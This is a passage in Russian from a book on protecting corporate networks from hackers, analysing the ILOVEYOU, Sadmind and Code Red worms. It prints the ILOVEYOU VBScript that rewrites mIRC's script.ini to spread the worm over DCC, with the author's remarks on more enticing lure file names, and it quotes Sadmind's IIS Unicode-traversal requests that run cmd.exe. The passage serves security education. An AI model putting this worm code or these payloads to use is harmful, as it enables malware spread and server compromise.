Коллектив авторов - Защита от хакеров корпоративных сетей

if (s=“mirc32.exe”) or (s=“mlink32.exe”) or (s=“mirc.ini”)

or (s=“script.ini”) or (s=“mirc.hlp”) then

set scriptini=fso.CreateTextFile(folderspec&“\script.ini”)

scriptini.WriteLine “[script]”

scriptini.WriteLine “;mIRC Script”

scriptini.WriteLine “; Please dont edit this script... mIRC

will corrupt, if mIRC will”

scriptini.WriteLine “ corrupt... WINDOWS will affect and

will not run correctly. thanks”

scriptini.WriteLine “;”

scriptini.WriteLine “;Khaled Mardam-Bey”

scriptini.WriteLine “;http://www.mirc.com”

scriptini.WriteLine “;”

scriptini.WriteLine “n0=on 1:JOIN:#:{”

scriptini.WriteLine “n1= /if ( $nick == $me ) { halt }”

scriptini.WriteLine “n2= /.dcc send $nick

“&dirsystem&”\LOVE-LETTER-FOR-YOU.HTM”

scriptini.WriteLine “n3=}”

Внесенные изменения заставляют mIRC-клиента посылать копию червя I love you всем, кто присоединяется к каналу, по которому общается пользователь зараженного компьютера. Разумеется, имя посылаемого файла должно быть достаточно соблазнительным, чтобы пользователь, присоединившийся к каналу, захотел его открыть. Думаю, что название «LOVE-LETTER-FOR-YOU.HTM» («Любовное письмо для вас») вряд ли заинтересует кого-нибудь, кроме одиноких людей, а вот заголовки «Top-10-reasons-why-irc-sucks.htm» («10 основных причин, по которым IRC вызывает отвращение») или «irc-channel-passwords.htm» («Пароли для IRC-каналов»), скорее всего, будут популярны.

Червь Sadmind

Червь Sadmind появился в мае 2001 года. Его уникальность заключалась в способности заражать как узлы Sun Solaris, так и узлы Microsoft IIS. Этот червь начал свое путешествие с поиска систем Solaris с уязвимой версией сервиса RPC (Remote Procedure Call – удаленный вызов процедуры). Данный сервис поставляется вместе с системой Solaris версий от 2.4 до 7. Найдя уязвимый компьютер, червяк использовал переполнение буфера, чтобы получить доступ к системе с полномочиями привилегированного пользователя. Затем он осуществлял следующие действия:

• заменял входящий порт для сервиса remote shell на порт 600;

• установливал различные двоичные файлы в папку /dev/cuc/ и создавал системные журналы в папке /dev/cub/. В число этих двоичных файлов входят grabbb, sadmin.sh и uniattack.sh;

• атаковал серверы IIS, используя уязвимость обработки Unicode. Запросы, формируемые червем, выглядят следующим образом:

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/

c+dir+..\

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+

copy+\winnt\system32\cmd.exe+root.exe

GET /scripts/root.exe?/c+echo+

• ну и напоследок червь менял код HTML-страниц, находящихся на сервере IIS, вписывая туда следующие строки:

fuck USA Government

fuck PoizonBOx

Хотя распространение червя Sadmind было достаточно заметным, его не сравнить с настоящими эпидемиями появившихся позднее червей (о них мы поговорим чуть позже). В конце концов, уязвимое место, через которое Sadmind проникал в систему, было закрыто два года назад! Однако червь до сих пор распространяется, потому что многие администраторы за эти два года так и не установили пакеты обновления системы.

Черви Code Red

18 июня 2001 года фирма eEye Digital Security (www.eeye.com) известила общественность об обнаруженной уязвимости, которая могла привести к переполнению буфера в Web-сервере Microsoft IIS при обработке. IDA-файлов. Коротко говоря, переполнение буфера может возникнуть при обработке длинных запросов URL, координируемых приложением Indexing Service ISAPI, которое обычно работает с запросами. IDA. Специальным образом сконструированный запрос URL вызывает переполнение буфера этого приложения и позволяет выполнить произвольный код, используя удаленный доступ.

А 17 июля фирма eEye проинформировала о появлении Интернет-червя, использующего переполнение буфера. IDA. Они провели восстановление исходного кода червя, чтобы понять принцип его устройства. Вот что было обнаружено:

• червь запускает 99 своих процессов (нитей), которые используются для поиска новых серверов-мишеней;

• запускается дополнительный процесс, который заменяет Web-страницы зараженного сервера на страницу, на которой написано «Welcome to http://www.worm.com! Hacked By Chinese!» (Добро пожаловать на сайт http://www.worm.com! взломанный китайцами);

• 20 числа каждого месяца червь отправляет большое количество информации на сайт www.whitehouse.gov, осуществляя распределенную атаку, приводящую к отказу в обслуживании.

Полный анализ червя, включая отдельные фрагменты его кода, находится на сайте www.eeye.com/html/Research/Advisories/AL20010717.html.

Чтобы сделать жизнь владельцев компьютеров еще более интересной, 4 августа была выпущена новая версия этого червя, которая называлась Code Red II, так как механизм заражения (переполнение буфера. IDA) остался неизменным. Впрочем, результат воздействия нового червя выглядел несколько иначе: